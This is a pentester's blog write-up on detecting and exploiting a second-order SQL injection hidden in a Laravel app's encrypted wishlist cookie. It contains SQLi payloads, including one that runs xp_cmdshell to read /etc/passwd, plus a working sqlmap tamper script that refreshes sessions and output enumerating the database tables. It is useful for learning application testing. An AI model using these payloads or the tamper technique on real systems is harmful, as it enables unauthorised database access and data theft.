Web applications evolved in the last century from simple scripts to single page applications. Such complex web applications are prone to different types of security vulnerabilities. One type of vulnerability, named as secondorder, occurs when an attack payload is first stored by the application on the web server and then later on used in a security-critical operation.
As you can imagine, second order vulnerabilities can occur anywhere. Not only within same application, but in completely different web applications that may have been using the same data sources. Therefore, it’s quite complicated and “almost” impossible to detect them by using automated scanners.
In this blog post, I will show you one of the interesting SQLi flaws from our latest pentest project.
Our Approach to Manual Pentest
The success of an application pentest is related to understanding your target. I usually spend one or two days with my target like a regular user, so I can understand whole workflow. So I can understand whole workflow. While clicking every single thing and submitting forms, I try to stick with following naming convention for form fields.
- Give a number for main modules (such as invoice, news, charges etc. Things that you usually see on navigation bar)
- Let’s say you are browsing a “Ticket” module and you have form that requires a name and email.
- Username = johnticket1
- Email = [email protected]
I developed this approach myself over time. This helps me to track down the source of the data. If I see johnticket1 somewhere else during pentest -single app pentest usually takes 5-6 days – I understand where should I go back and start to thing about attack vectors for second order vulnerabilities.
Initial Phase: Detection
While browsing my target, I saw following request and response on my Burp Suite log.
GET /wishlist/add/9 HTTP/1.1 Host: targetwebapp User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://targetwebapp/ Cookie: XSRF-TOKEN=eyJpdiI6ImVmODhzTFRXV0wrdkRVV05MVTdyQ3c9PSIsInZhbHVlIjoiYWN1ZkkwRk1WMjZycTdDRjdSZFVuN3VKR3ZGQUpTWWZyYWNURmcyMzZtY1Zlc25vUDhvdk5xaFhHbXZidEUyalA2eUl4aDQzakhBQmNpWGtsN1lNXC9nPT0iLCJtYWMiOiIxZTAxOGU5YTVjZTY1NDdmNTFlNmMzZWRjNTM5M2Y3YTJiNTIyZjk0NThlZDgwYWExYjc1YjJmOWRiYWQyM2MxIn0%3D; session=eyJpdiI6ImdudzFVTGlNem1CYzlGUlY1aG1Xbnc9PSIsInZhbHVlIjoiMFZcL2ZHZTRDejlyUGlwbG5zNW5mNHpvYUZMdVFHUjVQVkpOZkI5M1UrazArMThDSzRiSURac0FmdTBpd0hXaFN5OVAxdytvMFhVNzhadzN1dU5NM013PT0iLCJtYWMiOiIyYWEzOWI5NWM4ZDBhNmQ1NzQ1NzA3ZjkwY2Q5NzI5NTc2MWU4NDk4YWY3OTkzMGM5ZmQ2YjBlYjFkMmNlZjIxIn0%3D X-Forwarded-For: 127.0.0.1 True-Client-Ip: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 ---- HTTP/1.1 302 Found Date: Tue, 01 Aug 2017 07:31:12 GMT Server: Apache/2.4.18 (Ubuntu) Cache-Control: no-cache, private Location: http://targetwebapp/ Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJLYzJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/ Set-Cookie: session=eyJpdiI6IkpMdzdJSEE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/; HttpOnly Content-Length: 324 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="1;url=http://targetwebapp/" /> <title>Redirecting to http://targetwebapp/</title> </head> <body> Redirecting to <a href="http://targetwebapp/">http://targetwebapp/</a>. </body> </html>
I was adding one product to the wishlist. If this execution completed successfully, application is redirecting me back to home page. But if I browse an another module ( /wishlist/
) I was able to see that product with detailed information.
This caught my attention. Why am I seeing a new Set-Cookie
parameter on HTTP response ? In to precisely answer my question, I try to add several different product ids to wishlist. As a result, I’ve got new Set-Cookie directive for each individual request.
- I wasn’t logged in, yet the application is capable of tracking down which product I’ve added.
- I’m getting Set-Cookie directive whenever I repeat above request with different id.
So the answer was obvious, encrypted client side session..! The Application is storing those id values of the product on my cookie and performs encryption before sending it back to me. I believe my target is a laravel application because XSRF-TOKEN cookie name and cookie encryption are by default for Laravel framework.
It’s important to understand that whatever I submit through /wishlist/add/<id>
endpoint, it will be stored in my encrypted cookie. If I browse /whishlist/
path then following steps will be followed by application.
- Take cookie.
- Decrypt the cookie.
- Get wishlist array from cookie data.
- Use this array inside of the query.
- Show details of desired products.
Protip: If you believe that multiple values are used in one sql query. It’s probably used like WHERE id IN (<values>)
. Think like a developer!
Second Phase : Automated Tools Problems
To be honest, neither Burp nor Netsparker could detect this SQL Injection. . In order to make it more clear for you, here is the generic workflow of automated tools.
- Login to the app or use supplied cookies.
- Send
/wishlist/add/9" and 1=1 --
or/wishlist/add/9'or 1=1--
or/wishlist/add/9' OR SLEEP(25)=0 LIMIT 1--
- Those payloads are just example. Automated scanners uses more than this payloads.
- Calculate time gap between request and response.
- HTTP response body analysis, etc
- Wait for out-of-band request.
According to the above flow, the scanner will not see any difference in the HTTP response body. Also there will be NO big time gap between request and response. App just takes input and stores it at somewhere else -encrypted cookie in this case-.
When scanner go through evey single URL, eventually it will start to browse /whislist/
where SQL query executed. But tool already messed up sql sytnax because of multiple sql payload. Thus, it will see only HTTP 500 error and that’s all.
Third Phase: Make SQLMAP “great” Again
Below are the first five HTTP requests generated by SQLMap. The first two are correlated and will remain the same at all times
~ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 [11:48:57] [PAYLOAD] KeJH=9030 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')# [11:48:57] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:57] [INFO] testing if the target URL is stable [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:58] [WARNING] URI parameter '#1*' does not appear to be dynamic [11:48:58] [PAYLOAD] 9(..,)),('" [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:58] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [11:48:58] [PAYLOAD] 9'AGZHkY<'">Bubyju [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:59] [INFO] testing for SQL injection on URI parameter '#1*' [11:48:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [11:48:59] [PAYLOAD] 9) AND 3632=7420 AND (3305=3305 [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:59] [PAYLOAD] 9) AND 3274=3274 AND (6355=6355 [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:00] [PAYLOAD] 9 AND 5896=8011 [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:00] [PAYLOAD] 9 AND 3274=3274 [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:01] [PAYLOAD] 9') AND 9747=4557 AND ('xqFU'='xqFU [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:01] [PAYLOAD] 9') AND 3274=3274 AND ('JoAB'='JoAB [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:01] [PAYLOAD] 9' AND 6443=5019 AND 'zuGP'='zuGP [11:49:02] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:02] [PAYLOAD] 9' AND 3274=3274 AND 'iWaC'='iWaC
If you look closer to the first 2 payloads, you will see that sqlmap tries to detect WAF, and then encoding forced by the application. After that it tries to find out syntax form of the sql query by sending multiple payloads one by one. The problem is, all of those payloads will be stored on cookie and that means whenever sqlmap reachs to --second-order
path, it will see HTTP 500 error. Also the first request already messed up with sql syntax. That means sqlmap will see error for the rest of the attack.
So we need to provide a fresh session for every single HTTP request generated by sqlmap. I’ve done that by implementing custom tamper script.
Following HTTP request and response is our way to force application to initiate a new session.
GET / HTTP/1.1 Host: targetwebapp User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 X-Forwarded-For: 127.0.0.1 True-Client-Ip: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 --- HTTP/1.1 200 OK Date: Tue, 01 Aug 2017 06:31:36 GMT Server: Apache/2.4.18 (Ubuntu) Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscUJSRFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/ Set-Cookie: session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYVg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZSMGYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/; HttpOnly Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 22296
Can do following steps.
- Send request to the home page without suppling any cookie.
- Parse Set-Cookie and get
XSRF-TOKEN
andSESSION
. - Update HTTP request generated by sqlmap.
- So every single detection attempt of sqlmap gonna have fresh session. When sqlmap try to reach
/wishlist/
after sending payload, response from/wishlist/
will be related to the only previous payload.
I strongly suggest you yo use https://github.com/h3xstream/http-script-generator . It’s implemented by Philippe Arteau. I’ve met with him at Black Hat Europe 2015 arsenal stand ?. This extension generates scripts to reissue a selected request.
Here is my sqlmap tamper module. It send HTTP request to the homepage and retrieves new cookie values. As a final step, it updates Cookie value of HTTP request generated by sqlmap.
#!/usr/bin/env python """ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import requests from lib.core.enums import PRIORITY from random import sample __priority__ = PRIORITY.NORMAL def dependencies(): pass def new_cookie(): session = requests.Session() headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"} response = session.get("http://targetwebapp/", headers=headers) XSRF_TOKEN = response.headers['Set-Cookie'].split(';')[0] SESSION = response.headers['Set-Cookie'].split(';')[3].split(',')[1].replace(" ", "") return "Cookie: {0}; {1}".format(XSRF_TOKEN, SESSION) def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) headers["Cookie"] = new_cookie() return payload
???
sqlmap git:(master) ✗ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" --tamper /tmp/durian.py ... Database: XXX [12 tables] +------------------------------------------------------+ | categories | | comments | | coupon_user | | coupons | | migrations | | order_product | | orders | | password_resets | | products | | subscribers | | user_addresses | | users | +------------------------------------------------------+
Conclusions
- Use automated scanners but don’t trust the result.
- Hire ninjas who have really good experience at manual application pentesting.
- If you are a pentester, tools are something to help you. But in the end, you are the one who is getting job done.
- Approach matters.
Many thanks to Benjamin Burkhead for correcting grammatical errors.